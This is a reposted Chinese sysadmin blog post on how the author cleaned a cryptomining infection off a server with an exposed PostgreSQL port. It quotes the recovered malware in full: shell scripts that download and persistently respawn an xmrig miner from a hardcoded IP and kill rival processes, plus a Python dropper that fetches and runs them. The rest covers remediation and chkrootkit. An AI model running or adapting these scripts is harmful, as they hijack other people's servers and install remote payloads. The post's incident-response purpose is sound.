一次服务器被挖矿的处理解决过程一次服务器被挖矿的处理解决

内网一台服务器cpu爆满，第6感猜测中了挖矿病毒，以下为cpu爆满监控图表

赶紧ssh进系统，top了下，一个./x3e536747 进程占用了大量的cpu，cpu load average超过了cpu内核数，先kill掉进程，不用猜，等会肯定会继续启动，检查开放端口，发现postgresql直接对外开放的。肯定是通过这个入口***进来的；暂时关闭外网pg 5432端口；找到挖矿执行路径，都在/tmp下，我拷贝了出来，放一个sh脚本上来大家一起研究
第一个脚本keeper-64.sh

#!/bin/shsPid=$$ mPid='' mName='/tmp/.jgqwrjqwkhdoaeyhq'checkCmd() { command -v $1 >/dev/null 2>&1 }downloader () { if checkCmd wget; then wget $1 -O $2 elif checkCmd curl; then curl $1 -o $2 else if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()" else python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()" fi fi chmod +x $2 }killer() { for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do if [ $tmpVar = $sPid ]; then continue fi if [ $tmpVar = $mPid ]; then continue fi if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then echo "found jgqwrjqwkhdoaeyhq" continue fi kill -9 $tmpVar rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'` fi done }runer() { if [ -z "$mPid" ]; then if [ ! -f $mName ]; then downloader http://165.227.51.68/xmrig-64 $mName $mName else $mName fi fi mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'` }downloader http://165.227.51.68/xmrig-64 $mName runer killer pkill python while true; do sleep 10 if ps -p $mPid > /dev/null; then killer else mPid='' runer fi done

第二个脚本j23k6hl2k4jlk21.sh

#!/bin/shsPid=$$ mPid='' mName='/tmp/.jgqwrjqwkhdoaeyhq'checkCmd() { command -v $1 >/dev/null 2>&1 }downloader () { if checkCmd wget; then wget $1 -O $2 elif checkCmd curl; then curl $1 -o $2 else if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()" else python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()" fi fi chmod +x $2 }killer() { for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do if [ $tmpVar = $sPid ]; then continue fi if [ $tmpVar = $mPid ]; then continue fi if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then echo "found jgqwrjqwkhdoaeyhq" continue fi kill -9 $tmpVar rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'` fi done }runer() { if [ -z "$mPid" ]; then if [ ! -f $mName ]; then downloader http://165.227.51.68/xmrig-64 $mName $mName else $mName fi fi mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'` }downloader http://165.227.51.68/xmrig-64 $mName runer killer pkill python while true; do sleep 10 if ps -p $mPid > /dev/null; then killer else mPid='' runer fi done

第三个python脚本

remote_path64 = "http://165.227.51.68/keeper-64.sh" remote_path32 = "http://165.227.51.68/keeper-32.sh" output_path = '/tmp/j23k6hl2k4jlk21.sh' command = 'chmod 777 /tmp/j23k6hl2k4jlk21.sh&&sh /tmp/j23k6hl2k4jlk21.sh&&rm -rf /tmp/*.py' #command = 'chmod 777 /tmp/jhkjqhwru1h4&&nohup /tmp/jhkjqhwru1h4&&rm -rf /tmp/*.py'import platform check = platform.architecture() if "64bit" in check: remote_path = remote_path64 print remote_path elif "32bit" in check: remote_path = remote_path32 print remote_path else: exit()def getRequest(): request = '' try: # for python 3.x import urllib.request request = urllib.request except: # for python 2.x import urllib request = urllib return requestdef download(url): request = getRequest() res = request.urlopen(remote_path) return res.read()def put(path, data): #file = open(path, "wb") with open(path,'wb') as file: file.write(data) #file.close()def run(cmd): import os os.system(cmd)def main_station(): data = https://www.it610.com/article/download(remote_path) put(output_path, data) run(command)main_station()

【一次服务器被挖矿的处理解决过程】发现下载挖矿病毒脚本是美国的

netstat -antup 看了下还有哪些异常ip连接，发现我的服务器还会跟法国一个ip进行80访问连接，不用想，直接iptables drop掉这两个ip；清空/tmp目录，注意查看/tmp目录时用ls -al 因为发现挖矿脚本会用隐藏文件；
检查计划任务，没有异常
cat /etc/passwd | grep bash发现postgresql是可以登录的，
postgres:x:500:500:PostgreSQL:/opt/PostgreSQL/10:/sbin/nologin 改为nologin
修改root密码，使用chkrootkit检查是否有文件命令被替换，发现/tmp有隐藏执行文件，
Searching for Backdoor.Linux.Mokes.a。。。。。。。INFECTED
删除掉；
禁止root用户登录；
观察一晚上，一切正常。。。
附chkrootkit安装使用说明

安装依赖包 yum install gcc gcc-c++ make glibc-static -y 下载安装包 wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz——无法下载自行用×××。。 tar -zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense echo $? 为0表示编译不报错 mv chkrootkit-0.52 /usr/local/chkrootkit 执行chkrootkit /usr/local/chkrootkit/./chkrootkit| grep INFECTED——列出有infected表示文件被感染。可以到正常的系统拷贝替换回去。

直接运行执行结果

如果执行报错，cant't find ssh
yum install openssh* -y
转载于:https://blog.51cto.com/12185273/2151388